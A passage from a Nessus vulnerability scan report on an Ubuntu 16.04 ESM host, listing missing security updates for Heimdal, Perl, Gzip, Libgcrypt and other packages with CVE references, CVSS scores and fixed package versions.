See Also

https://ubuntu.com/security/notices/USN-5672-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0033

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-43618
XREF	USN:5672-1

Plugin Information

Published: 2022/10/13, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libgmp10_2:6.1.0+dfsg-2
- Fixed package : libgmp10_2:6.1.0+dfsg-2ubuntu0.1~esm1
```

166109 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Heimdal vulnerabilities (USN-5675-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5675-1 advisory.

Isaac Boukris and Andrew Bartlett discovered that Heimdal's KDC was not properly performing checksum algorithm verifications in the S4U2Self extension module. An attacker could possibly use this issue to perform a machine-in-the-middle attack and request S4U2Self tickets for any user known by the application. This issue only affected Ubuntu 14.04 ESM, Ubuntu 16.04 ESM and Ubuntu 18.04 LTS. (CVE-2018-16860)

It was discovered that Heimdal was not properly handling the verification of key exchanges when an anonymous PKINIT was being used. An attacker could possibly use this issue to perform a machine-in-the- middle attack and expose sensitive information. This issue only affected Ubuntu 14.04 ESM, Ubuntu 16.04 ESM and Ubuntu 18.04 LTS. (CVE-2019-12098)

Joseph Sutton discovered that Heimdal was not properly handling memory management operations when dealing with TGS-REQ tickets that were missing information. An attacker could possibly use this issue to cause a denial of service. (CVE-2021-3671)

Micha Kpie discovered that Heimdal was not properly handling logical conditions that related to memory management operations. An attacker could possibly use this issue to cause a denial of service.
(CVE-2022-3116)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5675-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0373

CVSS v2.0 Base Score

6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

4.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-16860
CVE	CVE-2019-12098
CVE	CVE-2021-3671
CVE	CVE-2022-3116
XREF	USN:5675-1

Plugin Information

Published: 2022/10/14, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1

- Installed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm1
```

171212 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Heimdal vulnerabilities (USN-5849-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5849-1 advisory.

Helmut Grohne discovered that Heimdal GSSAPI incorrectly handled logical conditions that are related to memory management operations. An attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5849-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0006

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:C/A:N)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-45142
XREF	USN:5849-1

Plugin Information

Published: 2023/02/08, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4

- Installed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm4
```

168489 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Heimdal vulnerability (USN-5766-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5766-1 advisory.

It was discovered that Heimdal did not properly manage memory when normalizing Unicode. An attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5766-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0022

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-41916
XREF	USN:5766-1

Plugin Information

Published: 2022/12/08, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libasn1-8-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libgssapi3-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhcrypto4-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimbase1-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libheimntlm0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2
```

```
- Installed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libhx509-5-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libkrb5-26-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libroken18-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2

- Installed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1
- Fixed package : libwind0-heimdal_1.7~git20150920+dfsg-4ubuntu1.16.04.1+esm2
```

176458 - Ubuntu 16.04 ESM / 18.04 LTS : Perl vulnerability (USN-6112-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-6112-1 advisory.

It was discovered that Perl was not properly verifying TLS certificates when using CPAN together with HTTP::Tiny to download modules over HTTPS. If a remote attacker were able to intercept communications, this flaw could potentially be used to install altered modules.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6112-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0105

CVSS v2.0 Base Score

7.6 (CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2023-31484
XREF	USN:6112-1

Plugin Information

Published: 2023/05/29, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.
```

```
- Installed package : perl-base_5.22.1-9ubuntu0.9
- Fixed package : perl-base_5.22.1-9ubuntu0.9+esm2
```

152918 - Ubuntu 16.04 ESM : APR vulnerability (USN-5056-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5056-1 advisory.

It was discovered that APR incorrectly handled certain inputs. An attacker could possibly use this issue to expose sensitive information.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5056-1

Solution

Update the affected libapr1 and / or libapr1-dev packages.

Risk Factor

Low

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

6.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.2

EPSS Score

0.0005

CVSS v2.0 Base Score

3.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

2.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-35940
XREF	USN:5056-1

Plugin Information

Published: 2021/08/31, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libapr1_1.5.2-3
- Fixed package : libapr1_1.5.2-3ubuntu0.1~esm1
```

160959 - Ubuntu 16.04 ESM : Cairo vulnerabilities (USN-5407-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5407-1 advisory.

Gustavo Grieco, Alberto Garcia, Francisco Oca, Suleman Ali, and others discovered that Cairo incorrectly handled certain files. An attacker could possibly use this issue to cause a denial of service.
(CVE-2016-9082, CVE-2017-9814, CVE-2019-6462)

Stephan Bergmann discovered that Cairo incorrectly handled certain files. An attacker could possibly use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2020-35492)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5407-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0036

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2016-9082
CVE	CVE-2017-9814
CVE	CVE-2019-6462
CVE	CVE-2020-35492
XREF	USN:5407-1

Plugin Information

Published: 2022/05/10, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libcairo-gobject2_1.14.6-1
- Fixed package : libcairo-gobject2_1.14.6-1ubuntu0.1~esm1

- Installed package : libcairo2_1.14.6-1
- Fixed package : libcairo2_1.14.6-1ubuntu0.1~esm1
```

158939 - Ubuntu 16.04 ESM : FUSE vulnerability (USN-5326-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5326-1 advisory.

It was discovered that FUSE is susceptible to a restriction bypass flaw on a system that has SELinux active. A local attacker with non-root privileges could mount a FUSE file system that is accessible to other users and trick them into accessing files on that file system, which

could result in a Denial of Service or other unspecified conditions.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5326-1

Solution

Update the affected fuse, libfuse-dev and / or libfuse2 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0008

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-10906
XREF	USN:5326-1

Plugin Information

Published: 2022/03/15, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : fuse_2.9.4-1ubuntu3.1
- Fixed package : fuse_2.9.4-1ubuntu3.1+esm1

- Installed package : libfuse2_2.9.4-1ubuntu3.1
- Fixed package : libfuse2_2.9.4-1ubuntu3.1+esm1
```

172131 - Ubuntu 16.04 ESM : FriBidi vulnerabilities (USN-5922-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5922-1 advisory.

It was discovered that FriBidi incorrectly handled the processing of input strings, resulting in memory corruption. An attacker could possibly use this issue to cause FriBidi to crash, resulting in a denial of service, or potentially execute arbitrary code. (CVE-2022-25308)

It was discovered that FriBidi incorrectly validated input data to its CapRTL unicode encoder, resulting in memory corruption. An attacker could possibly use this issue to cause FriBidi to crash, resulting in a denial of service, or potentially execute arbitrary code. (CVE-2022-25309)

It was discovered that FriBidi incorrectly handled empty input when removing marks from unicode strings.
An attacker could possibly use this to cause FriBidi to crash, resulting in a denial of service, or potentially execute arbitrary code. (CVE-2022-25310)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5922-1

Solution

Update the affected libfribidi-bin, libfribidi-dev and / or libfribidi0 packages.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0003

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-25308
CVE	CVE-2022-25309
CVE	CVE-2022-25310
XREF	USN:5922-1

Plugin Information

Published: 2023/03/06, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.
```

```
- Installed package : libfribidi0_0.19.7-1
- Fixed package : libfribidi0_0.19.7-1ubuntu0.1~esm1
```

179902 - Ubuntu 16.04 ESM : GStreamer vulnerability (USN-6291-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-6291-1 advisory.

Hanno Bock discovered that GStreamer incorrecly handled certain datetime strings. An attacker could possibly use this issue to cause a denial of service or expose sensitive information.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6291-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0218

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-5838
XREF	USN:6291-1

Plugin Information

Published: 2023/08/16, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gir1.2-gstreamer-1.0_1.8.3-1~ubuntu0.1
- Fixed package : gir1.2-gstreamer-1.0_1.8.3-1~ubuntu0.1+esm1

- Installed package : gstreamer1.0-tools_1.8.3-1~ubuntu0.1
- Fixed package : gstreamer1.0-tools_1.8.3-1~ubuntu0.1+esm1
```

```
- Installed package : libgstreamer1.0-0_1.8.3-1~ubuntu0.1
- Fixed package : libgstreamer1.0-0_1.8.3-1~ubuntu0.1+esm1
```

165716 - Ubuntu 16.04 ESM : Graphite2 vulnerability (USN-5657-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5657-1 advisory.

It was discovered that Graphite2 mishandled specially crafted files. An attacker could possibly use this issue to cause a denial of service or other unspecified impact.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5657-1

Solution

Update the affected libgraphite2-3 and / or libgraphite2-dev packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0023

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-7999
XREF	USN:5657-1

Plugin Information

Published: 2022/10/05, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libgraphite2-3_1.3.10-0ubuntu0.16.04.1
- Fixed package : libgraphite2-3_1.3.10-0ubuntu0.16.04.1+esm1
```

159725 - Ubuntu 16.04 ESM : Gzip vulnerability (USN-5378-4) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has a package installed that is affected by a vulnerability as referenced in the USN-5378-4 advisory.

USN-5378-1 fixed a vulnerability in Gzip. This update provides the corresponding update for Ubuntu 14.04 ESM and 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5378-4

Solution

Update the affected gzip package.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0069

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-1271
XREF	USN:5378-4
XREF	IAVA:2024-A-0327

Plugin Information

Published: 2022/04/13, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gzip_1.6-4ubuntu1
- Fixed package : gzip_1.6-4ubuntu1+esm1
```

165690 - Ubuntu 16.04 ESM : JACK vulnerability (USN-5656-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5656-1 advisory.

Joseph Yasi discovered that JACK incorrectly handled the closing of a socket in certain conditions. An attacker could potentially use this issue to cause a crash.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5656-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0026

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-13351
XREF	USN:5656-1

Plugin Information

Published: 2022/10/05, Modified: 2025/02/20

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libjack-jackd2-0_1.9.10+20150825git1ed50c92~dfsg-1ubuntu1
- Fixed package : libjack-jackd2-0_1.9.10+20150825git1ed50c92~dfsg-1ubuntu1+esm1
```

160213 - Ubuntu 16.04 ESM : Libcroco vulnerabilities (USN-5389-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5389-1 advisory.

It was discovered that Libcroco was incorrectly accessing data structures when reading bytes from memory, which could cause a heap buffer overflow. An attacker could possibly use this issue to cause a denial of service. (CVE-2017-7960)

It was discovered that Libcroco was incorrectly handling invalid UTF-8 values when processing CSS files.
An attacker could possibly use this issue to cause a denial of service. (CVE-2017-8834, CVE-2017-8871)

It was discovered that Libcroco was incorrectly implementing recursion in one of its parsing functions, which could cause an infinite recursion loop and a stack overflow due to stack consumption. An attacker could possibly use this issue to cause a denial of service. (CVE-2020-12825)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5389-1

Solution

Update the affected libcroco-tools, libcroco3 and / or libcroco3-dev packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H)

CVSS v3.0 Temporal Score

6.4 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.0

EPSS Score

0.021

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-7960
CVE	CVE-2017-8834
CVE	CVE-2017-8871
CVE	CVE-2020-12825
XREF	USN:5389-1

Plugin Information

Published: 2022/04/26, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libcroco3_0.6.11-1
- Fixed package : libcroco3_0.6.11-1ubuntu0.1~esm1
```

153514 - Ubuntu 16.04 ESM : Libgcrypt vulnerabilities (USN-5080-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5080-2 advisory.

USN-5080-1 fixed several vulnerabilities in Libgcrypt. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5080-2

Solution

Update the affected libgcrypt11-dev, libgcrypt20 and / or libgcrypt20-dev packages.

Risk Factor

Medium

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0149

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-33560
CVE	CVE-2021-40528
XREF	USN:5080-2

Plugin Information

Published: 2021/09/21, Modified: 2024/10/30

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libgcrypt20_1.6.5-2ubuntu0.6
- Fixed package : libgcrypt20_1.6.5-2ubuntu0.6+esm1
```

175288 - Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-6060-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

